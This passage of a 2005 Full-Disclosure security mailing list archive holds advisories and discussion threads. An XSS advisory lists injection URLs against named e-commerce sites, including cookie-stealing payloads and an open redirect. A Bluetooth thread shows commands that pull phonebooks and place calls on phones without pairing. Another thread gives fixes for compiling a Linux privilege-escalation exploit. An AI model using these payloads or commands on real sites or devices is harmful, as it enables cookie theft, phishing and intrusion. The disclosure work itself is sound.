exploitable. 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15922188 e0e7bb9b81990390b0a10b98b9cb628d http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-powerpc-smp_2.6.8.1-16.8_powerpc.deb Size/MD5: 16287446 1056d6e8e50c52acd204fa03ad0deb40 http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-powerpc_2.6.8.1-16.8_powerpc.deb Size/MD5: 15976232 857d8bfc1d5f658c319cba44b676ed7b -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/faae6614/attachment.bin From tcleary2 at csc.com.au Sun Jan 9 14:24:52 2005 From: tcleary2 at csc.com.au (tcleary2 at csc.com.au) Date: Sun, 9 Jan 2005 19:54:52 +0530 Subject: [Full-Disclosure] Re: Error Message-ID: <200501091424.j09EOXrs000539@lists.netsys.com> Now a new message is available. +++ Attachment: No Virus found +++ MC-Afee AntiVirus - www.mcafee.com -------------- next part -------------- A non-text attachment was scrubbed... Name: data_full-disclosure.zip Type: application/octet-stream Size: 32010 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/55bb2631/attachment.obj From jerome.athias at free.fr Sun Jan 9 09:38:07 2005 From: jerome.athias at free.fr (jerome.athias) Date: Sun, 9 Jan 2005 10:38:07 +0100 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions In-Reply-To: <4f0e191c05010710521ebd599@mail.gmail.com> Message-ID: <20050109093823.670041734CE@postfix3-1.free.fr> You could be interested by an article so called "MS AntiSpyware vs Ad-Aware vs SpyBot" http://www.flexbeta.net/main/articles.php?action=show&id=84&perpage=1&pagenu m=1 Regards, Jerome From johnc at grok.org.uk Sun Jan 9 17:29:46 2005 From: johnc at grok.org.uk (John Cartwright) Date: Sun, 9 Jan 2005 17:29:46 +0000 Subject: [Full-Disclosure] List Charter Message-ID: <20050109172946.GA9751@grok.org.uk> [Full-Disclosure] Mailing List Charter John Cartwright and Len Rose Introduction & Purpose ---------------------- This document serves as a charter for the [Full-Disclosure] mailing list hosted at lists.netsys.com. The list was created on 9th July 2002 by Len Rose, and is primarily concerned with security issues and their discussion. The list is administered by Len Rose and John Cartwright. Subscription Information ------------------------ Subscription/unsubscription may be performed via the HTTP interface located at http://lists.netsys.com/mailman/listinfo/full-disclosure. Alternatively, commands may be emailed to full-disclosure-request at lists.netsys.com, send the word 'help' in either the message subject or body for details. Moderation & Management ----------------------- The [Full-Disclosure] list is unmoderated. Typically posting will be restricted to members only, however the administrators may choose to accept submissions from non-members based on individual merit and relevance. It is expected that the list will be largely self-policing, however in special circumstances (eg spamming, misappropriation) then offending members may be removed from the list by the management. An archive of postings is available at http://lists.netsys.com/pipermail/full-disclosure/ Acceptable Content ------------------ Any information pertaining to vulnerabilities is acceptable, for instance announcement and discussion thereof, exploit techniques and code, related tools and papers, and other useful information. Gratuitous advertisement, product placement, or self-promotion is forbidden. Disagreements, flames, arguments, and off-topic discussion should be taken off-list wherever possible. Humour is acceptable in moderation, providing it is inoffensive. Politics should be avoided at all costs. Members are reminded that due to the open nature of the list, they should use discretion in executing any tools or code distributed via this list. Posting Guidelines ------------------ The primary language of this list is English. Members are expected to maintain a reasonable standard of netiquette when posting to the list. Quoting should not exceed that which is necessary to convey context, this is especially relevant to members subscribed to the digested version of the list. The use of HTML is discouraged, but not forbidden. Signatures will preferably be short and to the point, and those containing 'disclaimers' should be avoided where possible. Attachments may be included if relevant or necessary (e.g. PGP or S/MIME signatures, proof-of-concept code, etc) but must not be active (in the case of a worm, for example) or malicious to the recipient. Vacation messages should be carefully configured to avoid replying to list postings. Offenders will be excluded from the mailing list until the problem is corrected. Members may post to the list by emailing full-disclosure at lists.netsys.com. Do not send subscription/ unsubscription mails to this address, use the -request address mentioned above. Charter Additions/Changes ------------------------- The list charter will be published at http://lists.netsys.com/full-disclosure-charter.html In addition, the charter will be posted monthly to the list by the management. Alterations will be made after consultation with list members and a concensus has been reached. From stfunub at gmail.com Sun Jan 9 20:12:54 2005 From: stfunub at gmail.com (Andrew Smith) Date: Sun, 9 Jan 2005 20:12:54 +0000 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions In-Reply-To: <20050109093823.670041734CE@postfix3-1.free.fr> References: <4f0e191c05010710521ebd599@mail.gmail.com> <20050109093823.670041734CE@postfix3-1.free.fr> Message-ID: <33713abc05010912124cd480bf@mail.gmail.com> I hate to say this.. but it's actually quite good. Picked up spyware i'd been forced to manually disable (because adaware+spybots&d didn't see it) and gave me an *option* to remove kazaa et al (as, whilst they contain spyware i may want to keep them). From koon at gentoo.org Sun Jan 9 22:08:19 2005 From: koon at gentoo.org (Thierry Carrez) Date: Sun, 09 Jan 2005 23:08:19 +0100 Subject: [Full-Disclosure] [ GLSA 200501-11 ] Dillo: Format string vulnerability Message-ID: <41E1AB53.1050504@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Dillo: Format string vulnerability Date: January 09, 2005 Bugs: #76665 ID: 200501-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Dillo is vulnerable to a format string bug, which may result in the execution of arbitrary code. Background ========== Dillo is a small and fast multi-platform web browser based on GTK+. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 www-client/dillo < 0.8.3-r4 >= 0.8.3-r4 Description =========== Gentoo Linux developer Tavis Ormandy found a format string bug in Dillo's handling of messages in a_Interface_msg(). Impact ====== An attacker could craft a malicious web page which, when accessed using Dillo, would trigger the format string vulnerability and potentially execute arbitrary code with the rights of the user running Dillo. Workaround ========== There is no known workaround at this time. Resolution ========== All Dillo users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=www-client/dillo-0.8.3-r4" References ========== [ 1 ] CAN-2005-0012 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0012 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-11.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/90b5062c/attachment.bin From avivra at 012.net.il Sun Jan 9 22:44:32 2005 From: avivra at 012.net.il (Aviv Raff) Date: Mon, 10 Jan 2005 00:44:32 +0200 Subject: [Full-Disclosure] Leading Israeli e-commerce sites XSS vulnerabilities advisory Message-ID: <0IA200827N6MOD20@i_mtaout3.012.net.il> Leading Israeli e-commerce sites XSS vulnerabilities advisory URL: http://www.raffon.net/advisories/commxss.html Date: January 10, 2005 Author: Aviv Raff Introduction Many leading Israeli e-commerce sites are phishing enabled, and contain pages which allow injecting code that can execute arbitrary scripts. Technical Details Many leading Israeli e-commerce sites generate dynamic HTML web pages using user-submitted data, and data from other sources. Most of these sites do not filter the data before presenting it to the user, and therefore are vulnerable to Cross-Site Scripting. They allow injecting code that can execute arbitrary scripts, steal the user's cookie, or display fake pages. P1000 web site allows redirecting to external pages using a simple query string input, which can be easily exploited by phishers. Examples NetAction: http://www.netaction.co.il/search.php?qsn= http://www.netaction.co.il/personal.php?formPersonalID="> http://www.netaction.co.il/contact.php?formFirstName="> P1000: http://www.p1000.co.il/default.asp?urladd=http://www.phisher.com Wallashops: http://www.wallashops.co.il/shopmind_portal_heb/main.asp?name="> http://www.wallashops.co.il/shopmind_portal_heb/main.asp?name="%20onmouseove r=eval("al"%2B"ert(doc"%2B"ument.coo"%2B"kie)")%20" Zap: http://www.zap.co.il/gsearch.asp?keyword= Sakal Online: http://www.sakal.co.il/jsp/pg/SearchResultNew.jsp?searchType=byName&keyWord= NfcShop: http://shop.nfc.co.il/signin.asp?msg= Daka90: http://daka90.ynet.co.il/Login/CdaPersonalAreaLogin/1,2141,,00.html?txtemail ='> Olsale: http://www.olsale.co.il/olsale/Login.aspx?urlsource=>&type=1&rtype=1 Issta: http://www.issta.co.il/heb/flight_details.asp?product_id=2092&source_id=6&pr ice_id=3944&from_date='>10/04/2004&to _date=31/12/2004&s=hp&file_name=main\regularflightBottom1.xml http://www.issta.co.il/heb/flight_details.asp?product_id=2092&source_id=6&pr ice_id=3944&from_date='%20onmouseover=alert(document.cookie)%20x='10/04/2004 &to_date=31/12/2004&s=hp&file_name=main\regularflightBottom1.xml Parsi: http://www.parsi.co.il/SignIn.asp?referrer="> One (This is actually a leading sport website, but it has a paid premium section and also contains links to other e-commerce sites): http://www.one.co.il/one/search.asp?data= Solutions All of the sites were contacted via email, or a suggestion form on 27/12/2004. Netaction, P1000, GetIt, Daka90, Arkia and Printmall sites have already fixed the vulnerabilities. Wallashops, Issta and Parsi sites are partly fixed. Other sites are still vulnerable, and one should be careful following a link to those sites, or give confidential information. Disclaimer: The information in this advisory and any of its demonstrations is provided "as is" without warranty of any kind. -- Copyright C 2004-2005 Aviv Raff. -- -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/733c6e5b/attachment.html From eric-mailing at club-internet.fr Sun Jan 9 23:01:23 2005 From: eric-mailing at club-internet.fr (Eric Detoisien) Date: Mon, 10 Jan 2005 00:01:23 +0100 Subject: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore Message-ID: <00a301c4f69f$28ca5c40$0100000a@lan> An easy way to get phonebook on Ericsson T610 via bluetooth without pairing : tough:~# hcitool scan Scanning ... 00:0A:D9:XX:XX:XX T610 tough:~# sdptool browse 00:0A:D9:XX:XX:XX Browsing 00:0A:D9:XX:XX:XX ... [...] Service Name: OBEX Object Push Service RecHandle: 0x10005 Service Class ID List: "OBEX Object Push" (0x1105) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 10 -----------------------> only RFCOMM channels 10 and 15 are open "OBEX" (0x0008) Profile Descriptor List: "OBEX Object Push" (0x1105) Version: 0x0100 [...] Service Name: OBEX Basic Imaging Service RecHandle: 0x1000b Service Class ID List: "" (0x111b) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 15 "OBEX" (0x0008) Profile Descriptor List: "" (0x111a) Version: 0x0100 [...] tough:~# obexftp -b 00:0A:D9:XX:XX:XX -B 10 -g telecom/pb.vcf Browsing 00:0A:D9:FA:03:B7 ... Channel: 7 No custom transport Connecting...bt: 1 done Receiving telecom/pb.vcf.../done Disconnecting...done Eric Detoisien > The Bluebug, as described on [1] is trivially exploitable on some non-Symbian > Nokia phones. It allows attacker to create serial profile connection without > pairing or asking for permission, therefore it gives unauthorized access to all > AT commands. It is possible to read/delete/send SMS messages, add/view/delete > phonebook entries, change call diverts, initiate voice or data call. > > Demonstration on Nokia 6310i: > > laptop:~# hcitool scan > Scanning ... > 00:60:57:38:8C:D8 Nokia 6310i > laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17 > > Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for > example: > > laptop:~# cu -l rfcomm0 -s 9600 > Connected. > [ATE1] > OK > ATI > Nokia > > OK > AT+CPBS? > +CPBS: "SM",0,100 > > OK > AT+CPBR=? > +CPBR: (1-100),48,18 > > OK > ATDT+48609xxxxxx > OK > > As you can see, the bug is really trivial and looks rather like backdoor. > > [1] - http://www.thebunker.net/security/bluetooth.htm > [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx > [3] - http://www.gnokii.org/ > From srenna at vdbmusic.com Mon Jan 10 00:04:49 2005 From: srenna at vdbmusic.com (Scott Renna) Date: Sun, 09 Jan 2005 19:04:49 -0500 Subject: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore In-Reply-To: <00a301c4f69f$28ca5c40$0100000a@lan> References: <00a301c4f69f$28ca5c40$0100000a@lan> Message-ID: <41E1C6A1.5080901@vdbmusic.com> When I saw Adam's announcement a while back on these issues, I wrote a paper up for SANS. Describes running the attack on FreeBSD based system against a T610. Check out: http://www.giac.org/practical/GCIA/Scott_Renna_GCIA.pdf Eric Detoisien wrote: > An easy way to get phonebook on Ericsson T610 via bluetooth without pairing : > > tough:~# hcitool scan > Scanning ... > 00:0A:D9:XX:XX:XX T610 > > tough:~# sdptool browse 00:0A:D9:XX:XX:XX > Browsing 00:0A:D9:XX:XX:XX ... > [...] > Service Name: OBEX Object Push > Service RecHandle: 0x10005 > Service Class ID List: > "OBEX Object Push" (0x1105) > Protocol Descriptor List: > "L2CAP" (0x0100) > "RFCOMM" (0x0003) > Channel: 10 -----------------------> only RFCOMM channels 10 and 15 are open > "OBEX" (0x0008) > Profile Descriptor List: > "OBEX Object Push" (0x1105) > Version: 0x0100 > [...] > Service Name: OBEX Basic Imaging > Service RecHandle: 0x1000b > Service Class ID List: > "" (0x111b) > Protocol Descriptor List: > "L2CAP" (0x0100) > "RFCOMM" (0x0003) > Channel: 15 > "OBEX" (0x0008) > Profile Descriptor List: > "" (0x111a) > Version: 0x0100 > [...] > > tough:~# obexftp -b 00:0A:D9:XX:XX:XX -B 10 -g telecom/pb.vcf > Browsing 00:0A:D9:FA:03:B7 ... > Channel: 7 > No custom transport > Connecting...bt: 1 > done > Receiving telecom/pb.vcf.../done > Disconnecting...done > > > Eric Detoisien > > > >>The Bluebug, as described on [1] is trivially exploitable on some non-Symbian >>Nokia phones. It allows attacker to create serial profile connection without >>pairing or asking for permission, therefore it gives unauthorized access to all >>AT commands. It is possible to read/delete/send SMS messages, add/view/delete >>phonebook entries, change call diverts, initiate voice or data call. >> >>Demonstration on Nokia 6310i: >> >>laptop:~# hcitool scan >>Scanning ... >> 00:60:57:38:8C:D8 Nokia 6310i >>laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17 >> >>Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for >>example: >> >>laptop:~# cu -l rfcomm0 -s 9600 >>Connected. >>[ATE1] >>OK >>ATI >>Nokia >> >>OK >>AT+CPBS? >>+CPBS: "SM",0,100 >> >>OK >>AT+CPBR=? >>+CPBR: (1-100),48,18 >> >>OK >>ATDT+48609xxxxxx >>OK >> >>As you can see, the bug is really trivial and looks rather like backdoor. >> >>[1] - http://www.thebunker.net/security/bluetooth.htm >>[2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx >>[3] - http://www.gnokii.org/ >> > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From mlande at bellsouth.net Mon Jan 10 01:20:23 2005 From: mlande at bellsouth.net (Mary Landesman) Date: Sun, 9 Jan 2005 20:20:23 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions References: <20050109093823.670041734CE@postfix3-1.free.fr> Message-ID: <014401c4f6b2$8f373cb0$0e3eac18@MLANDE> Running a competing product after a scan from another simply determines whether the second product will false positive on leftover benign registry keys, folders, etc. Yes, it would be *nice* if all remants were removed, but that's not the reality with any of these products. Oftentimes, these so-called 'infections' are empty folders or leftover registry keys that no longer have a file associated with them. The false postive rates in these products are extremely high and, I believe, lead to a perception that adware/spyware is much more prevalent than it really is. The real indicator is whether all active components of the infection are removed. To do this requires isolating the startup vectors, active processes, services, etc. and determining whether the product(s) being tested effectively removes those. In other words, is the infection effectively neutered such that it will no longer load/run? Also, each of these products reports differently. For example, Ad-Aware counts every individual key, file and folder as an 'object' whereas Microsoft AntiSpyware and several others more conservatively (and I feel, more accurately) group keys, files, and folders associated with a specific adware/spyware as a single detection (in much the same manner as virus scanners do). I used the 'active' criteria described above to test MS AntiSpyware against 180 Solutions, Avenue Media, BargainBuddy, BonziBuddy, Claria, CoolWebSearch, Cydoor, Dashbar, Exact Searchbar, Hotbar, Huntbar (WinTools), Internet Optimizer, IST.SlotchBar, NEO, Troj_StartPage, WebSearch, WhenUSearch, WinTools, Xrenoder, and Zango Search Assistant. In my tests, MS AntiSpyware removed 91% of all active/startup components compared to Ad-Aware at 65% and Spybot at 55%. I also broke it down by category; MS AntiSpyware removed/corrected: 96% of processes running in memory 67% of start/search page modifications 100% of BHO/Toolbars 95% of startup vectors 100% of other (buttons/menu items, etc) Interesting, though, that even though we used different criteria, the results are the same - MS AntiSpyware provides better detection. (It is important to note that CounterSpy uses the same Giant technology. In fact, many of the bugs/results being reported with MS AntiSpyware are also true of CounterSpy). You can read my full review at: http://antivirus.about.com/od/antivirussoftwarereviews/a/msantispy.htm For those who don't want to be bothered with the ads, the most important part of my review has already been posted in this message. -- Mary ----- Original Message ----- From: "jerome.athias" To: Sent: Sunday, January 09, 2005 4:38 AM Subject: RE: [Full-Disclosure] Microsoft AntiSpyware - First Impressions You could be interested by an article so called "MS AntiSpyware vs Ad-Aware vs SpyBot" http://www.flexbeta.net/main/articles.php?action=show&id=84&perpage=1&pagenu m=1 Regards, Jerome _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From evilninja at gmx.net Mon Jan 10 01:45:51 2005 From: evilninja at gmx.net (Christian) Date: Mon, 10 Jan 2005 02:45:51 +0100 Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected In-Reply-To: <20050108112114.GA74421@bsquad.sm.pl> References: <20050108113834.553b397c@travel.earth> <20050108112114.GA74421@bsquad.sm.pl> Message-ID: <41E1DE4F.4070905@gmx.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Karol Wiesek schrieb: > [appelast at nesquik appelast]$ ./ex -l ./lib > > [+] SLAB cleanup > child 1 VMAs 65527 [...] strange, it does not even compile here: evil at prinz:~/dev/$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl elflbl_v108.c: In function `scan_mm_start': elflbl_v108.c:425: error: storage size of `l' isn't known elflbl_v108.c:425: error: storage size of `l' isn't known elflbl_v108.c: In function `check_vma_flags': elflbl_v108.c:545: warning: deprecated use of label at end of compound statement Christian. - -- BOFH excuse #408: Computers under water due to SYN flooding. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD4DBQFB4d5PC/PVm5+NVoYRArVcAJ9IrJJj/ZB0xAYuSWjuha6eqcsnzgCWLh4b AhoeE+J2tsnpY4FbEmscqw== =QYFG -----END PGP SIGNATURE----- From pwicks at oxygen.com Mon Jan 10 01:53:57 2005 From: pwicks at oxygen.com (James Patterson Wicks) Date: Sun, 9 Jan 2005 20:53:57 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions Message-ID: <3AF76382C31760418AF0FBFD84F714035D09D3@MI8NYCMAIL07.Mi8.com> Thank you for the thorough examination and excellent review. Your timely information will provide more than enough data for senior management to sign off on a limited deployment of the beta. Since my company has such a liberal surfing policy, deploying this tool to the problem users (the "why do I keep getting popup ads" group) should reduce the amout of time that the helpdesk spends cleaning systems. We also do not have to worry about violating LavaSoft licensing by using Ad-Aware SE within the enterprise. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Mary Landesman Sent: Sunday, January 09, 2005 8:20 PM To: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] Microsoft AntiSpyware - First Impressions Running a competing product after a scan from another simply determines whether the second product will false positive on leftover benign registry keys, folders, etc. Yes, it would be *nice* if all remants were removed, but that's not the reality with any of these products. Oftentimes, these so-called 'infections' are empty folders or leftover registry keys that no longer have a file associated with them. The false postive rates in these products are extremely high and, I believe, lead to a perception that adware/spyware is much more prevalent than it really is. The real indicator is whether all active components of the infection are removed. To do this requires isolating the startup vectors, active processes, services, etc. and determining whether the product(s) being tested effectively removes those. In other words, is the infection effectively neutered such that it will no longer load/run? Also, each of these products reports differently. For example, Ad-Aware counts every individual key, file and folder as an 'object' whereas Microsoft AntiSpyware and several others more conservatively (and I feel, more accurately) group keys, files, and folders associated with a specific adware/spyware as a single detection (in much the same manner as virus scanners do). I used the 'active' criteria described above to test MS AntiSpyware against 180 Solutions, Avenue Media, BargainBuddy, BonziBuddy, Claria, CoolWebSearch, Cydoor, Dashbar, Exact Searchbar, Hotbar, Huntbar (WinTools), Internet Optimizer, IST.SlotchBar, NEO, Troj_StartPage, WebSearch, WhenUSearch, WinTools, Xrenoder, and Zango Search Assistant. In my tests, MS AntiSpyware removed 91% of all active/startup components compared to Ad-Aware at 65% and Spybot at 55%. I also broke it down by category; MS AntiSpyware removed/corrected: 96% of processes running in memory 67% of start/search page modifications 100% of BHO/Toolbars 95% of startup vectors 100% of other (buttons/menu items, etc) Interesting, though, that even though we used different criteria, the results are the same - MS AntiSpyware provides better detection. (It is important to note that CounterSpy uses the same Giant technology. In fact, many of the bugs/results being reported with MS AntiSpyware are also true of CounterSpy). You can read my full review at: http://antivirus.about.com/od/antivirussoftwarereviews/a/msantispy.htm For those who don't want to be bothered with the ads, the most important part of my review has already been posted in this message. -- Mary ----- Original Message ----- From: "jerome.athias" To: Sent: Sunday, January 09, 2005 4:38 AM Subject: RE: [Full-Disclosure] Microsoft AntiSpyware - First Impressions You could be interested by an article so called "MS AntiSpyware vs Ad-Aware vs SpyBot" http://www.flexbeta.net/main/articles.php?action=show&id=84&perpage=1&pa genu m=1 Regards, Jerome _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html This e-mail is the property of Oxygen Media, LLC. It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail. From nix at syndicalist.net Mon Jan 10 02:16:44 2005 From: nix at syndicalist.net (Henrik Persson) Date: Mon, 10 Jan 2005 03:16:44 +0100 Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected In-Reply-To: <41E1DE4F.4070905@gmx.net> References: <20050108113834.553b397c@travel.earth> <20050108112114.GA74421@bsquad.sm.pl> <41E1DE4F.4070905@gmx.net> Message-ID: <41E1E58C.7080503@syndicalist.net> Christian wrote: > Karol Wiesek schrieb: > > [appelast at nesquik appelast]$ ./ex -l ./lib > >>>[+] SLAB cleanup >>> child 1 VMAs 65527 > > [...] > > strange, it does not even compile here: > > evil at prinz:~/dev/$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl > elflbl_v108.c: In function `scan_mm_start': > elflbl_v108.c:425: error: storage size of `l' isn't known > elflbl_v108.c:425: error: storage size of `l' isn't known > elflbl_v108.c: In function `check_vma_flags': > elflbl_v108.c:545: warning: deprecated use of label at end of compound > statement In linux 2.6 the modify_ldt_ldt_s structure is renamed to user_desc. Change that on row 425 and it will compile. -- Henrik Persson From xyberpix at xyberpix.com Mon Jan 10 02:53:21 2005 From: xyberpix at xyberpix.com (xyberpix) Date: Mon, 10 Jan 2005 02:53:21 +0000 Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRISand SecureIIS) In-Reply-To: <19F34051C5BB60429ACD1BF01338C598E9A975@av-mail01.corp.int-eeye.com> References: <19F34051C5BB60429ACD1BF01338C598E9A975@av-mail01.corp.int-eeye.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bwahahaha, thanks Marc, nicely put. If people on here could please get their facts correct before posting FD's on here it would save everyone a load of time. C'mon people we're all here for one reason or another, and if it's to annoy people, do it somewhere else, this really isn't the place. Most of us on here are serious about what we do, whatever that may be ;-) It's a great list, let's keep it that way, and while we're at it, can we put this thread to sleep now, it's gone on long enough. xyberpix On 30 Dec 2004, at 01:33, Marc Maiffret wrote: > Hi Lance Gusto, > > It is really interesting that someone with such a disdain for my > company > would go out of their way to spam out an email about a supposed > backdoor > within our products, choose not to contact us ahead of time, and then > provide no real details to prove your claim... Ahhh but wait, you chose > not to provide any details because you're a "good guy". As you said: > "Unfortunately, we can't release the "exploits" publicly due to the > severity of these flaws." Right. > > The reason you could not provide any real details about these backdoors > are because there are no backdoors in Iris nor SecureIIS. > > While I would not wish to give someone like you the time of day nor 15 > minutes of infamy, eEye does take every security claim very seriously. > We have performed an audit of SecureIIS and Iris code to re-verify what > we already knew, that there are no backdoors in either of them. > > It is quite possible that you downloaded fake warez versions of our > products from peer-to-peer networks which someone might have put there > to trick people and put backdoors on their systems. However, if such > warez product versions existed they would not be from eEye as we do not > distribute our software on peer-to-peer networks nor recommend people > downloading warez versions from there. Get your warez from a trusted > distributor. ;-) If you would have contacted us we could have saved you > the embarrassment... But then you are sending emails from Hotmail > through a proxy at a university in Germany so I seriously doubt you > care > if your persona "Lance Gusto" gets embarrassed on public mailing lists. > > > These backdoors are as much of a reality as Santa Claus but then you > seem to be childish enough that you probably still believe in the jolly > red man. Maybe next you can follow-up your humors eMail with a spoofed > advisory about a backdoor you found in Rudolph "the red nosed > reindeer". > At least then you could promote yourself from being a coward to a > comedian. > > Thank you, please drive through. > > Signed, > Marc Maiffret > Chief Hacking Officer > eEye Digital Security > T.949.349.9062 > F.949.349.9538 > http://eEye.com/Blink - End-Point Vulnerability Prevention > http://eEye.com/Retina - Network Security Scanner > http://eEye.com/Iris - Network Traffic Analyzer > http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities > > Important Notice: This email is confidential, may be legally > privileged, > and is for the intended recipient only. Access, disclosure, copying, > distribution, or reliance on any of it by anyone else is prohibited and > may be a criminal offense. Please delete if obtained in error and > email > confirmation to the sender. P.S. I'm going to tell you this for your > own > benefit, your email was dope as hell especially since you faked 90 > percent of it. What you need to do is practice on your freestyle before > you come up missing like triple m's police file. > > For Security And Open Source News And Info Visit: http://www.xyberpix.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFB4e4icRMkOnlkwMERAiiEAJsF/svsADIHRj6yAvh9eV09qQ9DjQCeIGoO mQfY4KClb9V75BsdTWvKcdk= =mUTu -----END PGP SIGNATURE----- From jason at flacid.org Mon Jan 10 05:38:42 2005 From: jason at flacid.org (Jason Carr) Date: Mon, 10 Jan 2005 00:38:42 -0500 Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected In-Reply-To: <41E1E58C.7080503@syndicalist.net> References: <20050108113834.553b397c@travel.earth> <20050108112114.GA74421@bsquad.sm.pl> <41E1DE4F.4070905@gmx.net> <41E1E58C.7080503@syndicalist.net> Message-ID: <41E214E2.6020302@flacid.org> Henrik Persson wrote: > Christian wrote: > >> Karol Wiesek schrieb: >> > [appelast at nesquik appelast]$ ./ex -l ./lib >> >>>> [+] SLAB cleanup >>>> child 1 VMAs 65527 >>> >> >> [...] >> >> strange, it does not even compile here: >> >> evil at prinz:~/dev/$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl >> elflbl_v108.c: In function `scan_mm_start': >> elflbl_v108.c:425: error: storage size of `l' isn't known >> elflbl_v108.c:425: error: storage size of `l' isn't known >> elflbl_v108.c: In function `check_vma_flags': >> elflbl_v108.c:545: warning: deprecated use of label at end of compound >> statement > > > In linux 2.6 the modify_ldt_ldt_s structure is renamed to user_desc. > Change that on row 425 and it will compile. > Weird... I tried that and I get this: jason at overdose [~/vuln] (104) % gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl elflbl.c:89: error: variable-size type declared outside of any function elflbl.c: In function `make_lib': elflbl.c:664: error: storage size of 'eh' isn't known elflbl.c:665: error: storage size of 'eph' isn't known elflbl.c:666: error: storage size of 'tmpbuf' isn't constant elflbl.c:680: error: invalid application of `sizeof' to incomplete type `elf_phdr' elflbl.c:666: error: size of variable 'tmpbuf' is too large From blancher at cartel-securite.fr Mon Jan 10 08:42:18 2005 From: blancher at cartel-securite.fr (Cedric Blancher) Date: Mon, 10 Jan 2005 09:42:18 +0100 Subject: [Full-Disclosure] [Annonce][Contest] Call For Articles: MISC Magazine - CanSecWest/core05 Message-ID: <1105346539.4627.63.camel@anduril.intranet.cartel-securite.net> For those who may be interested... (Details in French Below) Win a trip to attend CanSecWest/core05. Get published in MISC Magazine. Contest Details: You just have to write an original article (3500-4000 words) for publication in MISC Magazine on any topic related to computer security: exploit writing, (anti-)virus, (anti-)forensics, network, protocol manipulation, honeypots, IDS/IPS, reverse engineering, telecoms, and so on... For a list of subjects already covered in the magazine have a look at http://www.miscmag.com/sommaire.php The best submitted article (details below) will win a free trip (airfare, hotel) and conference registration. All contest information available on http://www.miscmag.com/csw05-fd.php The conference website can be found at http://cansecwest.com/ The CanSecWest/core05 conference consists of tutorials on technical details about current issues, innovative techniques and best practices in the information security realm. Many famous researchers contribute each year. The attendees are a multi-national mix of professionals involved on a daily basis with security work and provide a social networking opportunity to mingle with eminent technical researchers. It will be held on May 4-6 at the Mariott Renaissance hotel in downtown Vancouver, British Columbia, Canada. MISC is a french magazine focusing on information security. Each issue features an in-depth coverage of a specific topic through a series of articles exploring the subject. Beside this key 